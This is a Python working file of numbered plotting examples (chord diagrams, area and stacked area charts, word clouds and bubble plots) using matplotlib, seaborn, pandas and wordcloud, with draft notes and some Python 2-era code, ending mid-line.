|\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #230 Chord diagram with plotly\r\npng taken on the web.\r\nCode to complicated.\r\nPLOTLY : https://plot.ly/python/filled-chord-diagram/ --> Mais faut s'accrocher...\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #231 Chord diagram with bokeh\r\n\r\nBOKEH : http://bokeh.pydata.org/en/0.12.5/docs/gallery/chord_chart.html\r\n\r\nimport pandas as pd\r\nfrom bokeh.charts import output_file, Chord\r\nfrom bokeh.io import show\r\nfrom bokeh.sampledata.les_mis import data\r\n\r\nnodes = data['nodes']\r\nlinks = data['links']\r\n\r\nnodes_df = pd.DataFrame(nodes)\r\nlinks_df = pd.DataFrame(links)\r\n\r\nsource_data = links_df.merge(nodes_df, how='left', left_on='source', right_index=True)\r\nsource_data = source_data.merge(nodes_df, how='left', left_on='target', right_index=True)\r\nsource_data = source_data[source_data[\"value\"] > 5]\r\nsource_data\r\n\r\nchord_from_df = Chord(source_data, source=\"name_x\", target=\"name_y\", value=\"value\")\r\noutput_file('chord-diagram-bokeh.html', mode=\"inline\")\r\nshow(chord_from_df)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #240 -> #250  AREA CHART\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n# Repo\r\nimport os\r\nos.chdir(\"/Users/y.holtz/Dropbox/Python_GG\")\r\ncwd = os.getcwd()\r\ncwd\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 240 Basic area chart\r\n\r\n# Explain inputs.\r\n# If several variable, go to stacked area section\r\n\r\n# library\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Create data\r\nx=range(1,6)\r\ny=[1,4,6,8,4]\r\n\r\n# Area plot\r\nplt.fill_between(x, y)\r\nplt.savefig('PNG/#240_basic_area_chart.png', dpi=96)\r\n\r\n# Note that we could also use the stackplot function: plt.stackplot(x,y)\r\n# but fill_between is more convenient for future customization.\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 241 Custom area chart\r\n\r\n\r\n# library\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Your x and y axis\r\nx=range(1,15)\r\ny=[1,4,6,8,4,5,3,2,4,1,5,6,8,7]\r\n\r\n# Change the color and its transparency\r\nplt.fill_between( x, y, color=\"skyblue\", alpha=0.4)\r\nplt.savefig('PNG/#241_custom_area_chart1.png', dpi=96)\r\n\r\n# Same, but add a stronger line on top (edge)\r\nplt.fill_between( x, y, color=\"skyblue\", alpha=0.2)\r\nplt.plot(x, y, color=\"Slateblue\", alpha=0.6)\r\n# See the line plot function to learn how to customize the plt.plot function\r\nplt.savefig('PNG/#241_custom_area_chart2.png', dpi=96)\r\n\r\n# seaborn style & title\r\nimport seaborn as sns\r\nplt.fill_between( x, y, color=\"skyblue\", alpha=0.3)\r\nplt.plot(x, y, color=\"skyblue\")\r\nplt.title(\"An area chart\", loc=\"left\")\r\nplt.xlabel(\"Value of X\")\r\nplt.ylabel(\"Value of Y\")\r\nplt.savefig('PNG/#241_custom_area_chart3.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 242 Area Chart and faceting\r\n\r\n# For more info concerning faceting:\r\n# https://seaborn.pydata.org/generated/seaborn.FacetGrid.html\r\n\r\n# libraries\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Create a dataset\r\nmy_count=[\"France\",\"Australia\",\"Japan\",\"USA\",\"Germany\",\"Congo\",\"China\",\"England\",\"Spain\",\"Greece\",\"Marocco\",\"South Africa\",\"Indonesia\",\"Peru\",\"Chili\",\"Brazil\"]\r\ndf = pd.DataFrame({\r\n        \"country\":np.repeat(my_count, 10),\r\n        \"years\":range(2000, 2010) * 16,\r\n        \"value\":np.random.rand(160)\r\n        })\r\n\r\n# Create a grid : initialize it\r\ng = sns.FacetGrid(df, col='country', hue='country', col_wrap=4, )\r\n\r\n# Add the line over the area with the plot function\r\ng = g.map(plt.plot, 'years', 'value')\r\n\r\n# Fill the area with fill_between\r\ng = g.map(plt.fill_between, 'years', 'value', alpha=0.2).set_titles(\"{col_name} country\")\r\n\r\n# Control the title of each facet\r\ng = g.set_titles(\"{col_name}\")\r\n\r\n# Add a title for the whole plo\r\nplt.subplots_adjust(top=0.92)\r\ng = g.fig.suptitle('Evolution of the value of stuff in 16 countries')\r\n\r\nplt.savefig('PNG/#242_area_chart_and_faceting.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 243 Another example\r\n# https://stackoverflow.com/questions/24547047/how-to-make-matplotlib-graphs-look-professionally-done-like-this\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\nsns.set_style(\"whitegrid\")\r\n\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Color palette\r\nblue, = sns.color_palette(\"muted\", 1)\r\n\r\n# Create data\r\nx = np.arange(23)\r\ny = np.random.randint(8, 20, 23)\r\n\r\n# Make the plot\r\nfig, ax = plt.subplots()\r\nax.plot(x, y, color=blue, lw=3)\r\nax.fill_between(x, 0, y, alpha=.3)\r\nax.set(xlim=(0, len(x) - 1), ylim=(0, None), xticks=x)\r\n\r\n\r\nplt.savefig('PNG/#243_another_area_chart.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #250 -> #260  STACKED AREA CHART\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n# Repo\r\nimport os\r\nos.chdir(\"/Users/y.holtz/Dropbox/Python_GG\")\r\ncwd = os.getcwd()\r\ncwd\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 250 Most basic stacked area chart\r\n\r\n--> show other format\r\n\r\n\r\n# library\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# --- FORMAT 1\r\n\r\n# Your x and y axis\r\nx=range(1,6)\r\ny=[ [1,4,6,8,9], [2,2,7,10,12], [2,8,5,10,6] ]\r\n\r\n# Basic stacked area chart.\r\nplt.stackplot(x,y, labels=['A','B','C'])\r\nplt.legend(loc='upper left')\r\nplt.savefig('PNG/#250_basic_stacked_area_chart.png', dpi=96)\r\n#plt.show()\r\n\r\n\r\n# --- FORMAT 2\r\nx=range(1,6)\r\ny1=[1,4,6,8,9]\r\ny2=[2,2,7,10,12]\r\ny3=[2,8,5,10,6] \r\n\r\n# Basic stacked area chart.\r\nplt.stackplot(x,y1, y2, y3, labels=['A','B','C'])\r\nplt.legend(loc='upper left')\r\n\r\n\r\n# --- FORMAT 3: Long formats in pd dataframe = to do.\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 251 Stacked area chart with seaborn style\r\n\r\n# library\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Data\r\nx=range(1,6)\r\ny=[ [1,4,6,8,9], [2,2,7,10,12], [2,8,5,10,6] ]\r\n\r\n# Plot\r\nplt.stackplot(x,y, labels=['A','B','C'])\r\nplt.legend(loc='upper left')\r\nplt.savefig('PNG/#251_seaborn_style_on_stacked_area_chart.png', dpi=96)\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 252 Play with baseline\r\n# By Hooked http://thoppe.github.io/\r\n# On stack overflow https://stackoverflow.com/questions/2225995/how-can-i-create-stacked-line-graph-with-matplotlib\r\n\r\n# library\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Create data\r\nX = np.arange(0, 10, 1) \r\nY = X + 5 * np.random.random((5, X.size))\r\n\r\n# There are 4 types of baseline we can use:\r\nbaseline = [\"zero\", \"sym\", \"wiggle\", \"weighted_wiggle\"]\r\n\r\n# Let's make 4 plots, 1 for each baseline\r\nfor n, v in enumerate(baseline):\r\n    if n<3 :\r\n        plt.tick_params(labelbottom='off')\r\n    plt.subplot(2 ,2, n + 1)\r\n    plt.stackplot(X, *Y, baseline=v)\r\n    plt.title(v)\r\n    plt.axis('tight', size=0.2)\r\nplt.savefig('PNG/#252_baseline_and_stacked_area_chart.png', dpi=96)\r\n#plt.show()\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 253 Customize color\r\n\r\n# library\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\n\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Your x and y axis\r\nx=range(1,6)\r\ny=[ [10,4,6,5,3], [12,2,7,10,1], [8,18,5,7,6] ]\r\n\r\n# use a known color palette (see..)\r\npal = sns.color_palette(\"Set1\")\r\nplt.stackplot(x,y, labels=['A','B','C'], colors=pal, alpha=0.4 )\r\nplt.legend(loc='upper right')\r\nplt.savefig('PNG/#253_color_and_stacked_area_chart1.png', dpi=96)\r\nplt.show()\r\n\r\n\r\n# create your palette\r\npal = [\"#9b59b6\", \"#e74c3c\", \"#34495e\", \"#2ecc71\"]\r\nplt.stackplot(x,y, labels=['A','B','C'], colors=pal, alpha=0.4 )\r\nplt.legend(loc='upper right')\r\nplt.savefig('PNG/#253_color_and_stacked_area_chart2.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 254 With Pandas\r\n\r\nWITH PANDAS\r\n\r\n# library\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Dataset\r\ndf = pd.DataFrame(np.random.rand(10, 4), columns=['a', 'b', 'c', 'd'])\r\n\r\n# plot\r\ndf.plot.area();\r\nplt.savefig('PNG/#254_pandas_stacked_area_chart2.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 255 Percentage area chart\r\n\r\n# library\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nimport pandas as pd\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Make data\r\ndata = pd.DataFrame({ \r\n\t'group_A':[1,4,6,8,9],\r\n\t'group_B':[2,24,7,10,12],\r\n\t'group_C':[2,8,5,10,6],\r\n\t}, index=range(1,6))\r\n\r\n# We need to transform the data from raw data to percentage (fraction)\r\ndata_perc = data.divide(data.sum(axis=1), axis=0)\r\n\r\n# Make the plot\r\nplt.stackplot(range(1,6),  data_perc[\"group_A\"],  data_perc[\"group_B\"],  data_perc[\"group_C\"], labels=['A','B','C'])\r\nplt.legend(loc='upper left')\r\nplt.margins(0,0)\r\nplt.title('100 % stacked area chart')\r\nplt.savefig('PNG/#255_percent_stacked_area_chart.png', dpi=96)\r\n\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #260 -> #270  WORDCLOUDS\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\ndoc: https://github.com/amueller/word_cloud\r\nby: Andreas Mueller: http://amueller.github.io/\r\npip install wordcloud\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 260 Basic Wordcloud\r\n\r\n# Libraries\r\nfrom wordcloud import WordCloud\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Create a list of word\r\ntext=(\"Python Python Python Matplotlib  Matplotlib Seaborn Network Plot Violin Chart Pandas Datascience Wordcloud Spider Radar Parrallel Alpha Color Brewer Density Scatter Barplot Barplot Boxplot Violinplot Treemap Stacked Area Chart Chart Visualization Dataviz Donut Pie Time-Series Wordcloud Wordcloud Sankey Bubble\")\r\n\r\n# Create the wordcloud object\r\nwordcloud = WordCloud(width=480, height=480, margin=0).generate(text)\r\n\r\n# Display the generated image:\r\nplt.imshow(wordcloud, interpolation='bilinear')\r\nplt.axis(\"off\")\r\nplt.margins(x=0, y=0)\r\nplt.savefig('PNG/#260_Basic_Wordcloud.png')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 261 Custom the Wordcloud\r\n\r\n# Libraries\r\nfrom wordcloud import WordCloud\r\nimport matplotlib.pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Create a list of word\r\ntext=(\"Python Python Python Matplotlib  Matplotlib Seaborn Network Plot Violin Chart Pandas Datascience Wordcloud Spider Radar Parrallel Alpha Color Brewer Density Scatter Barplot Barplot Boxplot Violinplot Treemap Stacked Area Chart Chart Visualization Dataviz Donut Pie Time-Series Wordcloud Wordcloud Sankey Bubble\")\r\n\r\n# Control the maximum and minimum font size:\r\nwordcloud = WordCloud(width=480, height=480, max_font_size=20, min_font_size=10).generate(text)\r\nplt.figure()\r\nplt.imshow(wordcloud, interpolation=\"bilinear\")\r\nplt.axis(\"off\")\r\nplt.margins(x=0, y=0)\r\nplt.savefig('PNG/#261_Custom_Wordcloud1.png')\r\nplt.show()\r\n\r\n# Control the number of words, if I want max 5 words:\r\nwordcloud = WordCloud(width=480, height=480, max_words=3).generate(text)\r\nplt.figure()\r\nplt.imshow(wordcloud, interpolation=\"bilinear\")\r\nplt.axis(\"off\")\r\nplt.margins(x=0, y=0)\r\nplt.savefig('PNG/#261_Custom_Wordcloud2.png')\r\nplt.show()\r\n\r\n# To remove some word\r\nwordcloud = WordCloud(width=480, height=480, stopwords=[\"Python\", \"Matplotlib\"]).generate(text)\r\nplt.figure()\r\nplt.imshow(wordcloud, interpolation=\"bilinear\")\r\nplt.axis(\"off\")\r\nplt.margins(x=0, y=0)\r\nplt.savefig('PNG/#261_Custom_Wordcloud3.png')\r\nplt.show()\r\n\r\n# To change background\r\nwordcloud = WordCloud(width=480, height=480, background_color=\"skyblue\").generate(text)\r\nplt.figure()\r\nplt.imshow(wordcloud, interpolation=\"bilinear\")\r\nplt.axis(\"off\")\r\nplt.margins(x=0, y=0)\r\nplt.savefig('PNG/#261_Custom_Wordcloud4.png')\r\nplt.show()\r\n\r\n# To change the palette use for words:\r\nwordcloud = WordCloud(width=480, height=480, colormap=\"Blues\").generate(text)\r\nplt.figure()\r\nplt.imshow(wordcloud, interpolation=\"bilinear\")\r\nplt.axis(\"off\")\r\nplt.margins(x=0, y=0)\r\nplt.savefig('PNG/#261_Custom_Wordcloud5.png')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 262 Wordcloud with a mask\r\n\r\n# Libraries\r\nfrom wordcloud import WordCloud\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom PIL import Image # to import the image\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Create a list of word\r\n# https://en.wikipedia.org/wiki/Data_visualization\r\ntext=(\"Data visualization or data visualisation is viewed by many disciplines as a modern equivalent of visual communication. It involves the creation and study of the visual representation of data, meaning information that has been abstracted in some schematic form, including attributes or variables for the units of information A primary goal of data visualization is to communicate information clearly and efficiently via statistical graphics, plots and information graphics. Numerical data may be encoded using dots, lines, or bars, to visually communicate a quantitative message.[2] Effective visualization helps users analyze and reason about data and evidence. It makes complex data more accessible, understandable and usable. Users may have particular analytical tasks, such as making comparisons or understanding causality, and the design principle of the graphic (i.e., showing comparisons or showing causality) follows the task. Tables are generally used where users will look up a specific measurement, while charts of various types are used to show patterns or relationships in the data for one or more variables\")\r\n\r\n# Load the image \r\n# (found here:\r\nwave_mask = np.array(Image.open( \"/Users/yan/Desktop/wave.jpg\"))\r\n\r\n# Make the figure\r\nwordcloud = WordCloud(mask=wave_mask).generate(text)\r\nplt.figure()\r\nplt.imshow(wordcloud, interpolation=\"bilinear\")\r\nplt.axis(\"off\")\r\nplt.margins(x=0, y=0)\r\nplt.savefig('PNG/#262_Wordcloud_with_a_Mask.png')\r\nplt.show()\r\n\r\n\r\n# --> Add other examples from the github accounts\r\n\r\n\r\n# OTHER EXAMPLES\r\n# ALICE https://github.com/amueller/word_cloud/blob/master/examples/masked.py\r\n# OTHER https://github.com/amueller/word_cloud/tree/master/examples\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #270 -> #280  BUBBLE PLOT\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n# Repo\r\nimport os\r\nos.chdir(\"/Users/y.holtz/Dropbox/Python_GG\")\r\ncwd = os.getcwd()\r\ncwd\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 270 Basic bubble plot\r\n\r\n# The basic Idea is to use the scatter function of matplotlib. This one has an argument s that control the size of dots. \r\n# So we just have to give a vector to this field.\r\n\r\n# libraries\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n \r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# create data\r\nx = np.random.rand(40)\r\ny = np.random.rand(40)\r\nz = np.random.rand(40)\r\n\r\n# use the scatter function \r\nplt.scatter(x, y, s=z*1000, alpha=0.5)\r\nplt.savefig('PNG/#270_Basic_Bubble_plot.png')\r\nplt.show()\r\n\r\n# Note that we have to multiple the size by 1000 to get an interesting result.\r\n# Matpltlib is'nt intelligent, youhave to specify this size, it does not do an interesting mapping as ggplot2 does.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 271 Custom your bubbles\r\n\r\n# libraries\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# create data\r\nx = np.random.rand(5)\r\ny = np.random.rand(5)\r\nz = np.random.rand(5)\r\n\r\n# Change color with c and alpha\r\nplt.scatter(x, y, s=z*4000, c=\"red\", alpha=0.4)\r\nplt.savefig('PNG/#271_Bubble_plot_customization1.png', dpi=96)\r\nplt.clf()\r\n#plt.show()\r\n\r\n# Change shape with marker\r\nplt.scatter(x, y, s=z*4000, marker=\"D\")\r\nplt.savefig('PNG/#271_Bubble_plot_customization2.png', dpi=96)\r\nplt.clf()\r\n#plt.show()\r\n\r\n# Change global size playing with s\r\nplt.scatter(x, y, s=z*200)\r\nplt.savefig('PNG/#271_Bubble_plot_customization3.png', dpi=96)\r\nplt.clf()\r\n#plt.show()\r\n\r\n# Change line around dot\r\nplt.scatter(x, y, s=z*4000, c=\"green\", alpha=0.4, linewidth=6)\r\nplt.savefig('PNG/#271_Bubble_plot_customization4.png', dpi=96)\r\nplt.clf()\r\n#plt.show()\r\n\r\n# pimp your plot with the seaborn style\r\nimport seaborn as sns\r\nplt.scatter(x, y, s=z*4000, c=\"green\", alpha=0.4, linewidth=6)\r\n# Add titles (main and on axis)\r\nplt.xlabel(\"the X axis\")\r\nplt.ylabel(\"the Y axis\")\r\nplt.title(\"A bubble plot\", loc=\"left\")\r\n\r\nplt.savefig('PNG/#271_Bubble_plot_customization5.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 272 Map a color to your bubble plot\r\n\r\n# libraries\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport seaborn as sns\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# create data\r\nx = np.random.rand(15)\r\ny = x+np.random.rand(15)\r\nz = x+np.random.rand(15)\r\nz=z*z\r\n\r\n# Change color with c and alpha. I map the color to the X axis value.\r\nplt.scatter(x, y, s=z*2000, c=x, cmap=\"Blues\", alpha=0.4, edgecolors=\"grey\", linewidth=2)\r\n\r\n# Add titles (main and on axis)\r\nplt.xlabel(\"the X axis\")\r\nplt.ylabel(\"the Y axis\")\r\nplt.title(\"A colored bubble plot\")\r\n\r\nplt.savefig('PNG/#272_Bubble_plot_with_mapped_color.png', dpi=96)\r\nplt.show()\r\n\r\n# Quite hard to add a legend however...\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 273 bubble plot from pairs coordinates\r\n\r\n\r\n# libraries\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n# Create a data frame with X and Y values, some pairs exist several times !\r\nx=np.repeat(range(1,10),3)\r\ny=range(1,4)*3\r\ndf=pd.DataFrame({'x': x, 'y': y })\r\n\r\n\r\n\r\n\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n\r\nimport collections\r\nimport numpy as np\r\n\r\ndata = [tuple(pair)\r\n        for pair in np.random.uniform(5, size=(20,2))\r\n        for c in range(np.random.random_integers(50))]\r\ncount = collections.Counter(data)\r\n\r\npoints = count.keys()\r\nx, y = zip(*points)\r\nsizes = np.array(count.values())**2\r\nplt.scatter(x, y, s=sizes, marker='o', c=sizes)\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 272 Bubble plot with names into bubbles\r\n\r\n\r\n# libraries\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n#my_dpi=96\r\n#plt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# create data\r\nx = np.random.rand(15)\r\ny = x+np.random.rand(15)\r\nz = x+np.random.rand(15)\r\ntext=[chr(i) for i in range(ord('a'),ord('o')+1)]\r\nz=z*z\r\n\r\n# Change color with c and alpha. I map the color to the X axis value.\r\nplt.scatter(x, y, s=z*2000, c=x, cmap=\"Blues\", alpha=0.4, edgecolors=\"grey\", linewidth=2)\r\n\r\n# Add text into bubbles\r\nfor i, txt in enumerate(text):\r\n  plt.text(x=x[i], y=y[i], s=txt, size=11, horizontalalignment='center', verticalalignment='center')\r\n\r\n# Add titles (main and on axis)\r\nplt.xlabel(\"the X axis\")\r\nplt.ylabel(\"the Y axis\")\r\nplt.title(\"A colored bubble plot\")\r\n\r\n#plt.savefig('PNG/#272_Bubble_plot_with_mapped_color.png')\r\nplt.show()\r\n\r\n\r\n# --> show how to custom this label\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |                      |\r\n |                      |\r\n |  SERIE #280 -> #290  BASIC MAPS\r\n |                      |\r\n |                      |\r\n  -----------------------------------------\r\n\r\n# Repo\r\nimport 